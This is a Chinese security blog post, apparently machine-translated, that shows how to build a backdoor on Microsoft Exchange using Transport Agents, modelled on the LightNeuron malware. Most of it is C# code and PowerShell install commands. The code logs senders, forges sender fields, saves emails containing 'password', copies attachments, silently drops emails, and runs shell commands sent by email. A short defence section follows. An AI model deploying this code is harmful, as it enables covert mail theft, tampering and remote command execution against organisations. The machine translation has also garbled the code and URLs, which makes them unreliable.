发布于2022年11月8日2年前 0x00 前言 ESET研究发现了一个专门针对Microsoft Exchange的恶意软件光神经元,使用一种从未见过的持久性技术:运输代理,能够实现以下功能: 阅读和修改通过邮件服务器的任何电子邮件 撰写并发送新电子邮件 阻止任何电子邮件。原始收件人将不会收到电子邮件 参考资料: https://www。我们的安全。com/2019/05/07/turla-光神经元-电子邮件-太远/ https://www。我们的安全。com/WP-content/uploads/2019/05/ESET-光神经元。可移植文档格式文件的扩展名(portable document format的缩写) 本文仅在技术研究的角度,介绍运输代理人的用法,编写代码实现不同的功能,结合利用思路给出防御建议 0x01 简介 本文将要介绍以下内容: 运输代理人基础知识 运输代理人的用法 使用运输代理人监控邮件 使用运输代理人修改邮件 使用运输代理人删除邮件 使用运输代理人启动程序 防御检测 0x02 Transport Agent基础知识 参考资料 https://份文件。微软。com/en-us/previous-versions/office/developer/exchange-server-2010/DD 877026(v=exchg。140) 1.Transport Agent 可以用来扩展和修改交换的传输行为,以自定义消息的接受,拒绝,路由和传递,以及在各种类型的内容之间进行转换 简单理解,运输代理作为交换的插件,能够对交换的传输行为进行扩展和修改,例如读取、修改和删除传输的每一份邮件 2..NET Framework Extensions for Exchange 微软。交换数据命名空间提供了便于执行以下任务的类型: 读写哑剧数据 将消息正文和其他文本从一种编码转换为另一种编码 读取和写入TNEF数据 读写日历和约会 转换消息格式;例如,从超文本标记语言到多文本格式 响应简单邮件传输协议事件 响应路由事件 简单理解,使用微软。交换数据命名空间能够扩展和修改交换的传输行为 0x03 Transport Agent的使用 参考资料: https://份文件。微软。com/en-us/previous-versions/office/developer/exchange-server-2010/aa 579185(v=exchg。140)?重定向自=MSDN C#开发,使用微软。交换数据命名空间 使用VisualStudio,新建C#项目,项目类型选择类库,引用以下动态链接库: 微软交换。Data.Common.dll 微软交换。Data.Transport.dll 动态链接库可从交换服务器上获得,位置为%ExchangeInstallPath%Public,例如c:\ Program Files \ Microsoft \ Exchange Server \ V15 \ Public 测试代码如下: 使用系统; 使用系统。集合。泛型; 使用系统。文本; 使用微软。交换。数据。传输; 使用微软交换。数据。运输。SMTP 命名空间我的代理 { 公共密封类MyAgentFactory:SmtpReceiveAgentFactory { 公共替代SmtpReceiveAgent创建代理(SmtpServer服务器) { 返回新的我的代理(); } } 公共类MyAgent : SmtpReceiveAgent { 公共我的代理() { 这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler); } 私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e) { //下面一行将文本追加到导致事件的消息的主题。 e.MailItem.Message.Subject=' -此文本由我的代理追加; } } } 编译生成MyAgent.dll 将MyAgent.dll复制到交换服务器,保存路径为C:\test\MyAgent.dll 使用Exchange Server PowerShell安装运输代理,命令如下: install-transport agent-Name ' MySpamFilterAgent '-TransportAgentFactory ' my agents .MyAgentFactory '-程序集路径' C:\ test \ my agent。' dll ' enable-传输代理MySpamFilterAgent 重新启动-服务MSExchangeTransport 需要重启服务MSExchangeTransport才能够生效 卸载运输代理人的命令: uninstall-传输代理MySpamFilterAgent-Confirm:$ false 重新启动-服务MSExchangeTransport 查看这个运输代理人的命令: get-传输代理MySpamFilterAgent | fl 查看所有运输代理人的命令: Get-TransportAgent |fl 运输代理人安装成功后,使用任意用户发送邮件,邮件标题被修改,测试成功 0x04 使用Transport Agent实现不同的功能 示例1 监控邮件,记录发件人和时间,文件保存为c:\test\log.txt 代码如下: 使用系统; 使用系统。集合。泛型; 使用系统。文本; 使用系统。木卫一; 使用微软。交换。数据。传输; 使用微软交换。数据。运输。SMTP 命名空间我的代理 { 公共密封类MyAgentFactory:SmtpReceiveAgentFactory { 公共替代SmtpReceiveAgent创建代理(SmtpServer服务器) { 返回新的我的代理(); } } 公共类MyAgent : SmtpReceiveAgent { 公共我的代理() { 这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler); } 私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e) { 使用(系统10 . IO。流水帐文件=新系统10 . IO。StreamWriter(@ ' C:\ test \ log。txt ',true)) { 文件WriteLine('发件人:' e . mailitem。消息。发件人。smtpaddress’); 文件WriteLine(' Date:' e . mailitem。消息。日期’); } } } } 示例2 修改邮件的发件人和主题 代码如下: 使用系统; 使用系统。集合。泛型; 使用系统。文本; 使用系统。木卫一; 使用微软。交换。数据。传输; 使用微软交换。数据。运输。SMTP 命名空间我的代理 { 公共密封类MyAgentFactory:SmtpReceiveAgentFactory { 公共替代SmtpReceiveAgent创建代理(SmtpServer服务器) { 返回新的我的代理(); } } 公共类MyAgent : SmtpReceiveAgent { 公共我的代理() { 这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler); } 私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e) { //下面一行将文本追加到导致事件的消息的主题。 e.MailItem.Message.Subject=' -此文本由我的代理追加; e.邮件项目。消息。从。显示名称='测试2 '; e.邮件项目。消息。从。SMTP地址=' test 2 @ test。com’; e.邮件项目。消息。发件人。显示名称='测试2 '; e.邮件项目。消息。发件人。SMTP地址=' test 2 @ test。com’; } } } 示例3 监控邮件,如果邮件中包括字符串密码(不区分大小写),则将这份邮件保存至c:\test,文件名称为eml(为了避免文件名重复,这是使用唯一的MessageId作为文件名) 代码如下: 使用系统; 使用系统。集合。泛型; 使用系统。文本; 使用系统。木卫一; 使用微软。交换。数据。传输; 使用微软交换。数据。运输。SMTP 命名空间我的代理 { 公共密封类MyAgentFactory:SmtpReceiveAgentFactory { 公共替代SmtpReceiveAgent创建代理(SmtpServer服务器) { 返回新的我的代理(); } } 公共类MyAgent : SmtpReceiveAgent { 公共我的代理() { 这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler); } 私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e) { long len=e . mailitem。getmimeredstream().长度; 字节[] heByte=新字节[len]; int r=e . mailitemgetmimeredstream().读取(heByte,0,heByte .长度); string searchData=System .文字。编码。utf8。getstring(heByte); if(搜索数据.IndexOf('password ',0,StringComparison .CurrentCultureIgnoreCase)!=-1) { string[]sArray=e . mailitem。消息。messageid。拆分(“@”); 萨雷[0]=萨雷[0]。子串(1); FileStream fs=new FileStream(' c:\ \ test \ ' sArray[0]').“eml”,文件模式.创建); fs .写(heByte,0,heByte .长度); fs .close(); } } } } 示例4 监控附件,将附件名称保存在c:\test\log.txt,将所有附件保存至c:\test,文件名称为附件名称 代码如下: 使用系统; 使用系统。集合。泛型; 使用系统。文本; 使用系统。木卫一; 使用微软。交换。数据。传输; 使用微软交换。数据。运输。SMTP 命名空间我的代理 { 公共密封类MyAgentFactory:SmtpReceiveAgentFactory { 公共替代SmtpReceiveAgent创建代理(SmtpServer服务器) { 返回新的我的代理(); } } 公共类MyAgent : SmtpReceiveAgent { 公共我的代理() { 这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler); } 私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e) { if(e . mailitem。消息。附件。数数!=0) { foreach(电子邮件项目。消息。附件中的定义变量附件) { 使用(系统10 . IO。流水帐文件=新系统10 . IO。StreamWriter(@ ' C:\ test \ log。txt ',true)) { 文件WriteLine(附件。文件名); } FileStream fs=新文件流(' c:\ \ test '附件.文件名,文件模式。创建); 依恋GetContentReadStream().复制到(fs); fs .close(); } } } } } 相比于示例代码3,将数据保存至文件的功能有所区别 示例3采用了先从流中读取数据并保存在字节数组中,再将字节数组转换为字符串,最后通过文件流将字符串写入文件,这样虽然效率变慢,但是支持对全文内容进行搜索 示例代码四不需要考虑全文搜索,所以可以使用溪流。复制到复制两个流来提高效率 示例5 监控邮件,如果邮件内容包括字符串警报(不区分大小写),那么将这份邮件丢弃 代码如下: 使用系统; 使用系统。集合。泛型; 使用系统。文本; 使用系统。木卫一; 使用微软。交换。数据。传输; 使用微软交换。数据。运输。SMTP 命名空间我的代理 { 公共密封类MyAgentFactory:SmtpReceiveAgentFactory { 公共替代SmtpReceiveAgent创建代理(SmtpServer服务器) { 返回新的我的代理(); } } 公共类MyAgent : SmtpReceiveAgent { 公共我的代理() { 这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler); } 私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e) { long len=e . mailitem。getmimeredstream().长度; 字节[] heByte=新字节[len]; int r=e . mailitemgetmimeredstream().读取(heByte,0,heByte .长度); string searchData=System .文字。编码。utf8。getstring(heByte); if(搜索数据.IndexOf('alert ',0,StringComparison .CurrentCultureIgnoreCase)!=-1) { foreach(电子邮件项目。收件人中的信封收件人ep) { e.邮件项目。收件人。移除(EP); } } } } } 示例6 监控邮件,如果邮件来自指定用户([email protected]),主题为命令,那么将执行邮件正文中的内容xxxx(格式为命令:xxxx/command) 代码如下: 使用系统; 使用系统。集合。泛型; 使用系统。文本; 使用系统。木卫一; 使用微软。交换。数据。传输; 使用微软交换。数据。运输。SMTP 使用系统。诊断; 命名空间我的代理 { 公共密封类MyAgentFactory:SmtpReceiveAgentFactory { 公共替代SmtpReceiveAgent创建代理(SmtpServer服务器) { 返回新的我的代理(); } } 公共类MyAgent : SmtpReceiveAgent { 公共我的代理() { 这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler); } 私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e) { if(e . mailitem。消息。从。SMTP地址==' testa @ test。com’) { 如果(例如,mailitem。消息。主题。包含('命令')) { long len=e . mailitem。消息。身体。getcontentreadstream().长度; 字节[] heByte=新字节[len]; int r=e . mailitem消息。身体。getcontentreadstream().读取(heByte,0,heByte .长度); string myStr=System .文字。编码。utf8。getstring(heByte); int i=myStr .IndexOf('命令:'); int j=myStr .('/command ')的索引; myStr=myStr .Substring(i 8,j-I-8); 进程p=新进程(); 页(第页的缩写)StartInfo。文件名=' cmd.exe 页(第页的缩写)StartInfo。arguments='/c ' myStr; 页(第页的缩写)StartInfo。UseShellExecute=false 页(第页的缩写)StartInfo。RedirectStandardInput=true 页(第页的缩写)StartInfo。重定向标准输出=true 页(第页的缩写)StartInfo。RedirectStandardError=true 页(第页的缩写)StartInfo。CreateNoWindow=true 页(第页的缩写)start(); } } } } } 启动的进程权限为网络服务 补充 为了便于调试,捕获错误并将错误代码输出至文件c:\test\log.txt 代码如下: 使用系统; 使用系统。集合。泛型; 使用系统。文本; 使用系统。木卫一; 使用微软。交换。数据。传输; 使用微软交换。数据。运输。SMTP 使用系统。诊断; 命名空间我的代理 { 公共密封类MyAgentFactory:SmtpReceiveAgentFactory { 公共替代SmtpReceiveAgent创建代理(SmtpServer服务器) { 返回新的我的代理(); } } 公共类MyAgent : SmtpReceiveAgent { 公共我的代理() { 这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler); } 私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e) { 尝试 { } 接住(例外ex) { 使用(系统10 . IO。流水帐文件=新系统10 . IO。StreamWriter(@ ' C:\ test \ log。txt ',true)) { 文件WriteLine(例如。消息); } } } } } 0x05 防御检测 1.查看Transport Agent配置 使用Exchange Server PowerShell,命令如下: Get-TransportAgent 其他Powershell命令可参考: https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-PS #邮件流 2.查看服务日志 安装运输代理人需要重启服务MSExchangeTransport 3.查看进程 使用运输代理人后,进程w3wp.exe将会加载对应的动态链接库 可以查看进程w3wp.exe是否加载可疑动态链接库 0x06 小结 本文介绍了运输代理人的用法,编写代码实现对邮件的记录、修改和删除,实现了作为后门使用的常用功能,结合利用思路给出防御建议 留下回复
创建帐户或登录后发表意见